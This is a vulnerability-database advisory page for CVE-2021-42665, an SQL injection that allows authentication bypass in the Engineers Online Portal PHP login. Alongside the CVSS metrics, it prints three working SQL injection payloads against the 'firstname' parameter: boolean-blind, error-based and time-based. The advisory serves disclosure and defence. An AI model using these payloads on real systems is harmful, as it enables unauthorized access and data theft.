Attacker Value
Very High
CVE-2021-42665
CVE-2021-42665
(Last updated November 28, 2024) ▾
MITRE ATT&CK
Log in to add MITRE ATT&CK tag
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Execution
Techniques
Validation
Description
An SQL Injection vulnerability exists in Sourcecodester Engineers Online Portal in PHP via the login form inside of index.php, which can allow an attacker to bypass authentication.
Add Assessment
1
Technical Analysis
CVE-2021-42665
Vendor
Description:
An SQL Injection vulnerability exists in Sourcecodester Engineers Online Portal in PHP via the login form inside of index.php, which can allow an attacker to bypass authentication.
And five more SQL – Injections, the attacker can bypass all accounts of this system and he can manipulate those accounts with
malicious purposes and destroy the owners of these accounts. This system also has six more XSS: 4 reflected and 2 (CSRF) vulnerabilities!
Status: Critical and extremely awful!
Conclusion: This system must be stopped from distribution immediately! BR nu11secur1ty
Types of SQL Injections:
--- Parameter: firstname (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: firstname=tbcRxVrk' OR NOT 6030=6030#&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: firstname=tbcRxVrk' AND (SELECT 4603 FROM(SELECT COUNT(*),CONCAT(0x716b717671,(SELECT (ELT(4603=4603,1))),0x717a627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- upfj&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: firstname=tbcRxVrk' AND (SELECT 2357 FROM (SELECT(SLEEP(5)))mNaQ)-- xKTb&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0 ---
Reproduce:
Proof:
CVSS V3 Severity and Metrics
Data provided by the National Vulnerability Database (NVD)
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High
General Information
Vendors
- engineers online portal project
Products
- engineers online portal 1.0
References
